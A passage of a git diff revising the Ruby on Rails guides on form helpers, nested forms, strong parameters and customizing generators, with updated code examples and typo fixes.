accept-charset="UTF-8" action="/search" method="post"> - <div style="margin:0;padding:0"> - <input name="_method" type="hidden" value="patch" /> - <input name="utf8" type="hidden" value="✓" /> - <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /> - </div> + <input name="_method" type="hidden" value="patch" /> + <input name="utf8" type="hidden" value="✓" /> + <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /> ... +</form> ``` When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example). @@ -381,7 +399,7 @@ Here you have a list of cities whose names are presented to the user. Internally ### The Select and Option Tags -The most generic helper is `select_tag`, which — as the name implies — simply generates the `SELECT` tag that encapsulates an options string: +The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string: ```erb <%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %> @@ -421,14 +439,19 @@ output: Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. -TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` — you must pass 2. Be aware of values extracted from the `params` hash as they are all strings. +TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer `2` you cannot pass `"2"` to `options_for_select` - you must pass `2`. Be aware of values extracted from the `params` hash as they are all strings. -WARNING: when `:inlude_blank` or `:prompt:` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true. +WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true. You can add arbitrary attributes to the options using hashes: ```html+erb -<%= options_for_select([['Lisbon', 1, 'data-size': '2.8 million'], ['Madrid', 2, 'data-size': '3.2 million']], 2) %> +<%= options_for_select( + [ + ['Lisbon', 1, { 'data-size' => '2.8 million' }], + ['Madrid', 2, { 'data-size' => '3.2 million' }] + ], 2 +) %> output: @@ -451,7 +474,7 @@ In most cases form controls will be tied to a specific database model and as you <%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %> ``` -Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one — Rails will do this for you by reading from the `@person.city_id` attribute. +Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute. As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be: @@ -460,11 +483,21 @@ As with other helpers, if you were to use the `select` helper on a form builder <%= f.select(:city_id, ...) %> ``` -WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. +You can also pass a block to `select` helper: + +```erb +<%= f.select(:city_id) do %> + <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%> + <%= content_tag(:option, c.first, value: c.last) %> + <% end %> +<% end %> +``` + +WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. ### Option Tags from a Collection of Arbitrary Objects -Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: +Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a `City` model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: ```erb <% cities_array = City.all.map { |city| [city.name, city.id] } %> @@ -483,6 +516,12 @@ As the name implies, this only generates option tags. To generate a working sele <%= collection_select(:person, :city_id, City.all, :id, :name) %> ``` +As with other helpers, if you were to use the `collection_select` helper on a form builder scoped to the `@person` object, the syntax would be: + +```erb +<%= f.collection_select(:city_id, City.all, :id, :name) %> +``` + To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`. NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method. @@ -497,7 +536,7 @@ To leverage time zone support in Rails, you have to ask your users what time zon There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods. -Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/chrislerum/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails). +Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails). Using Date and Time Form Helpers -------------------------------- @@ -511,7 +550,7 @@ Both of these families of helpers will create a series of select boxes for the d ### Barebones Helpers -The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example +The `select_*` family of helpers take as their first argument an instance of `Date`, `Time` or `DateTime` that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example: ```erb <%= select_date Date.today, prefix: :start_date %> @@ -525,7 +564,7 @@ outputs (with actual option values omitted for brevity) <select id="start_date_day" name="start_date[day]"> ... </select> ``` -The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example +The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual `Date`, `Time` or `DateTime` object you would have to extract these values and pass them to the appropriate constructor, for example: ```ruby Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i) @@ -553,10 +592,10 @@ outputs (with actual option values omitted for brevity) which results in a `params` hash like ```ruby -{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} +{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} ``` -When this is passed to `Person.new` (or `update_attributes`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`. +When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`. ### Common Options @@ -568,9 +607,9 @@ NOTE: In many cases the built-in date pickers are clumsy as they do not aid the ### Individual Components -Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value. +Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example, "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value. -The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example +The first parameter specifies which value should be selected and can either be an instance of a `Date`, `Time` or `DateTime`, in which case the relevant component will be extracted, or a numerical value. For example: ```erb <%= select_year(2009) %> @@ -600,18 +639,18 @@ Rails provides the usual pair of helpers: the barebones `file_field_tag` and the ### What Gets Uploaded -The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example). +The object in the `params` hash is an instance of a subclass of `IO`. Depending on the size of the uploaded file it may in fact be a `StringIO` or an instance of `File` backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example). ```ruby def upload uploaded_io = params[:person][:picture] - File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file| + File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file| file.write(uploaded_io.read) end end ``` -Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](http://www.thoughtbot.com/projects/paperclip). +Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](https://github.com/thoughtbot/paperclip). NOTE: If the user has not selected a file the corresponding parameter will be an empty string. @@ -622,7 +661,7 @@ Unlike other forms making an asynchronous file upload form is not as simple as p Customizing Form Builders ------------------------- -As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass FormBuilder and add the helpers there. For example +As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of `FormBuilder` (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass `FormBuilder` and add the helpers there. For example: ```erb <%= form_for @person do |f| %> @@ -638,7 +677,7 @@ can be replaced with <% end %> ``` -by defining a LabellingFormBuilder class similar to the following: +by defining a `LabellingFormBuilder` class similar to the following: ```ruby class LabellingFormBuilder < ActionView::Helpers::FormBuilder @@ -656,17 +695,17 @@ The form builder used also determines what happens when you do <%= render partial: f %> ``` -If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead. +If `f` is an instance of `FormBuilder` then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder` then the `labelling_form` partial would be rendered instead. Understanding Parameter Naming Conventions ------------------------------------------ -As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create` +As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create` action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on. -Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. +Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. -TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example, +TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rack's parameter parser. For example, ```ruby Rack::Utils.parse_query "name=fred&phone=0123456789" @@ -675,7 +714,7 @@ Rack::Utils.parse_query "name=fred&phone=0123456789" ### Basic Structures -The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains +The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains: ```html <input id="person_name" name="person[name]" type="text" value="Henry"/> @@ -689,7 +728,7 @@ the `params` hash will contain and `params[:person][:name]` will retrieve the submitted value in the controller. -Hashes can be nested as many levels as required, for example +Hashes can be nested as many levels as required, for example: ```html <input id="person_address_city" name="person[address][city]" type="text" value="New York"/> @@ -701,7 +740,7 @@ will result in the `params` hash being {'person' => {'address' => {'city' => 'New York'}}} ``` -Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form: +Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets `[]` then they will be accumulated in an array. If you wanted users to be able to input multiple phone numbers, you could place this in the form: ```html <input name="person[phone_number][]" type="text"/> @@ -709,11 +748,11 @@ Normally Rails ignores duplicate parameter names. If the parameter name contains <input name="person[phone_number][]" type="text"/> ``` -This would result in `params[:person][:phone_number]` being an array. +This would result in `params[:person][:phone_number]` being an array containing the inputted phone numbers. ### Combining Them -We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment +We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment ```html <input name="addresses[][line1]" type="text"/> @@ -723,7 +762,7 @@ We can mix and match these two concepts. For example, one element of a hash migh This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash. -There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter. +There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index or some other parameter. WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays. @@ -737,7 +776,7 @@ You might want to render a form with a set of edit fields for each of a person's <%= form_for @person do |person_form| %> <%= person_form.text_field :name %> <% @person.addresses.each do |address| %> - <%= person_form.fields_for address, index: address do |address_form|%> + <%= person_form.fields_for address, index: address.id do |address_form|%> <%= address_form.text_field :city %> <% end %> <% end %> @@ -760,9 +799,16 @@ This will result in a `params` hash that looks like {'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} ``` -Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created). +Rails knows that all these inputs should be part of the person hash because you +called `fields_for` on the first form builder. By specifying an `:index` option +you're telling Rails that instead of naming the inputs `person[address][city]` +it should insert that index surrounded by [] between the address and the city. +This is often useful as it is then easy to locate which Address record +should be modified. You can pass numbers with some other significance, +strings or even `nil` (which will result in an array parameter being created). -To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example +To create more intricate nestings, you can specify the first part of the input +name (`person[address]` in the previous example) explicitly: ```erb <%= fields_for 'person[address][primary]', address, index: address do |address_form| %> @@ -788,21 +834,21 @@ As a shortcut you can append [] to the name and omit the `:index` option. This i produces exactly the same output as the previous example. -Forms to external resources +Forms to External Resources --------------------------- -If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options: +Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options: ```erb -<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token') do %> +<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %> Form contents <% end %> ``` -Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option: +Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option: ```erb -<%= form_tag 'http://farfar.away/form', authenticity_token: false) do %> +<%= form_tag 'http://farfar.away/form', authenticity_token: false do %> Form contents <% end %> ``` @@ -826,29 +872,26 @@ Or if you don't want to render an `authenticity_token` field: Building Complex Forms ---------------------- -Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. +Many apps grow beyond simple forms editing a single object. For example, when creating a `Person` you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. ### Configuring the Model -Active Record provides model level support via the `accepts_nested_attributes_for` method: +Active Record provides model level support via the `accepts_nested_attributes_for` method: ```ruby class Person < ActiveRecord::Base has_many :addresses accepts_nested_attributes_for :addresses - - attr_accessible :name, :addresses_attributes end class Address < ActiveRecord::Base belongs_to :person - attr_accessible :kind, :street end ``` -This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. When using `attr_accessible` or `attr_protected` you must mark `addresses_attributes` as accessible as well as the other attributes of `Person` and `Address` that should be mass assigned. +This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. -### Building the Form +### Nested Forms The following form allows a user to create a `Person` and its associated addresses. @@ -871,42 +914,58 @@ The following form allows a user to create a `Person` and its associated address ``` -When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form. +When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form. ```ruby def new @person = Person.new - 3.times { @person.addresses.build} + 2.times { @person.addresses.build} end ``` -`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like +The `fields_for` yields a form builder. The parameters' name will be what +`accepts_nested_attributes_for` expects. For example, when creating a user with +2 addresses, the submitted parameters would look like: ```ruby { - :person => { - :name => 'John Doe', - :addresses_attributes => { - '0' => { - :kind => 'Home', - :street => '221b Baker Street', - }, - '1' => { - :kind => 'Office', - :street => '31 Spooner Street' - } - } + 'person' => { + 'name' => 'John Doe', + 'addresses_attributes' => { + '0' => { + 'kind' => 'Home', + 'street' => '221b Baker Street' + }, + '1' => { + 'kind' => 'Office', + 'street' => '31 Spooner Street' + } } + } } ``` The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address. -If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id. +If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`. ### The Controller -You do not need to write any specific controller code to use nested attributes. Create and update records as you would with a simple form. +As usual you need to +[whitelist the parameters](action_controller_overview.html#strong-parameters) in +the controller before you pass them to the model: + +```ruby +def create + @person = Person.new(person_params) + # ... +end + +private + def person_params + params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street]) + end +``` ### Removing Objects @@ -919,7 +978,9 @@ class Person < ActiveRecord::Base end ``` -If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses: +If the hash of attributes for an object contains the key `_destroy` with a value +of `1` or `true` then the object will be destroyed. This form allows users to +remove addresses: ```erb <%= form_for @person do |f| %> @@ -927,7 +988,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value <ul> <%= f.fields_for :addresses do |addresses_form| %> <li> - <%= check_box :_destroy%> + <%= addresses_form.check_box :_destroy%> <%= addresses_form.label :kind %> <%= addresses_form.text_field :kind %> ... @@ -937,6 +998,16 @@ If the hash of attributes for an object contains the key `_destroy` with a value <% end %> ``` +Don't forget to update the whitelisted params in your controller to also include +the `_destroy` field: + +```ruby +def person_params + params.require(:person). + permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy]) +end +``` + ### Preventing Empty Records It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set. @@ -952,4 +1023,4 @@ As a convenience you can instead pass the symbol `:all_blank` which will create ### Adding Fields on the Fly -Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice. +Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice. diff --git a/guides/source/generators.md b/guides/source/generators.md index 62de5a70bb..05bf07b4c8 100644 --- a/guides/source/generators.md +++ b/guides/source/generators.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Creating and Customizing Rails Generators & Templates ===================================================== @@ -8,6 +10,7 @@ After reading this guide, you will know: * How to see which generators are available in your application. * How to create a generator using templates. * How Rails searches for generators before invoking them. +* How Rails internally generates Rails code from the templates. * How to customize your scaffold by creating new generators. * How to customize your scaffold by changing generator templates. * How to use fallbacks to avoid overwriting a huge set of generators. @@ -23,19 +26,19 @@ When you create an application using the `rails` command, you are in fact using ```bash $ rails new myapp $ cd myapp -$ rails generate +$ bin/rails generate ``` You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do: ```bash -$ rails generate helper --help +$ bin/rails generate helper --help ``` Creating Your First Generator ----------------------------- -Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`. +Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options for parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`. The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content: @@ -47,20 +50,20 @@ class InitializerGenerator < Rails::Generators::Base end ``` -NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html) +NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. To invoke our new generator, we just need to do: ```bash -$ rails generate initializer +$ bin/rails generate initializer ``` Before we go on, let's see our brand new generator description: ```bash -$ rails generate initializer --help +$ bin/rails generate initializer --help ``` Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator: @@ -82,7 +85,7 @@ Creating Generators with Generators Generators themselves have a generator: ```bash -$ rails generate generator initializer +$ bin/rails generate generator initializer create lib/generators/initializer create lib/generators/initializer/initializer_generator.rb create lib/generators/initializer/USAGE @@ -102,7 +105,7 @@ First, notice that we are inheriting from `Rails::Generators::NamedBase` instead We can see that by invoking the description of this new generator (don't forget to delete the old generator file): ```bash -$ rails generate initializer --help +$ bin/rails generate initializer --help Usage: rails generate initializer NAME [options] ``` @@ -130,7 +133,7 @@ end And let's execute our generator: ```bash -$ rails generate initializer core_extensions +$ bin/rails generate initializer core_extensions ``` We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`. @@ -169,14 +172,15 @@ end Before we customize our workflow, let's first see what our scaffold looks like: ```bash -$ rails generate scaffold User name:string +$ bin/rails generate scaffold User name:string invoke active_record - create db/migrate/20091120125558_create_users.rb + create db/migrate/20130924151154_create_users.rb create app/models/user.rb invoke test_unit create test/models/user_test.rb create test/fixtures/users.yml - route resources :users + invoke resource_route + route resources :users invoke scaffold_controller create app/controllers/users_controller.rb invoke erb @@ -190,15 +194,21 @@ $ rails generate scaffold User name:string create test/controllers/users_controller_test.rb invoke helper create app/helpers/users_helper.rb - invoke test_unit - create test/helpers/users_helper_test.rb - invoke stylesheets - create app/assets/stylesheets/scaffold.css + invoke jbuilder + create app/views/users/index.json.jbuilder + create app/views/users/show.json.jbuilder + invoke assets + invoke coffee + create app/assets/javascripts/users.coffee + invoke scss + create app/assets/stylesheets/users.scss + invoke scss + create app/assets/stylesheets/scaffolds.scss ``` Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication. -Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following: +Our first customization on the workflow will be to stop generating stylesheet, JavaScript and test fixture files for scaffolds. We can achieve that by changing our configuration to the following: ```ruby config.generators do |g| @@ -206,20 +216,28 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false end ``` -If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. +If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks: ```bash -$ rails generate generator rails/my_helper +$ bin/rails generate generator rails/my_helper + create lib/generators/rails/my_helper + create lib/generators/rails/my_helper/my_helper_generator.rb + create lib/generators/rails/my_helper/USAGE + create lib/generators/rails/my_helper/templates ``` -After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following: +After that, we can delete both the `templates` directory and the `source_root` +class method call from our new generator, because we are not going to need them. +Add the method below, so our generator looks like the following: ```ruby +# lib/generators/rails/my_helper/my_helper_generator.rb class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE @@ -231,10 +249,11 @@ end end ``` -We can try out our new generator by creating a helper for users: +We can try out our new generator by creating a helper for products: ```bash -$ rails generate my_helper products +$ bin/rails generate my_helper products + create app/helpers/products_helper.rb ``` And it will generate the following helper file in `app/helpers`: @@ -253,6 +272,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false g.helper :my_helper end ``` @@ -260,10 +280,10 @@ end and see it in action when invoking the generator: ```bash -$ rails generate scaffold Post body:text +$ bin/rails generate scaffold Article body:text [...] invoke my_helper - create app/helpers/posts_helper.rb + create app/helpers/articles_helper.rb ``` We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators. @@ -273,6 +293,7 @@ Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper doe To do that, we can change the generator this way: ```ruby +# lib/generators/rails/my_helper/my_helper_generator.rb class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE @@ -304,7 +325,7 @@ In Rails 3.0 and above, generators don't just look in the source root for templa ```erb module <%= class_name %>Helper - attr_reader :<%= plural_name %>, <%= plural_name.singularize %> + attr_reader :<%= plural_name %>, :<%= plural_name.singularize %> end ``` @@ -316,11 +337,28 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false end ``` 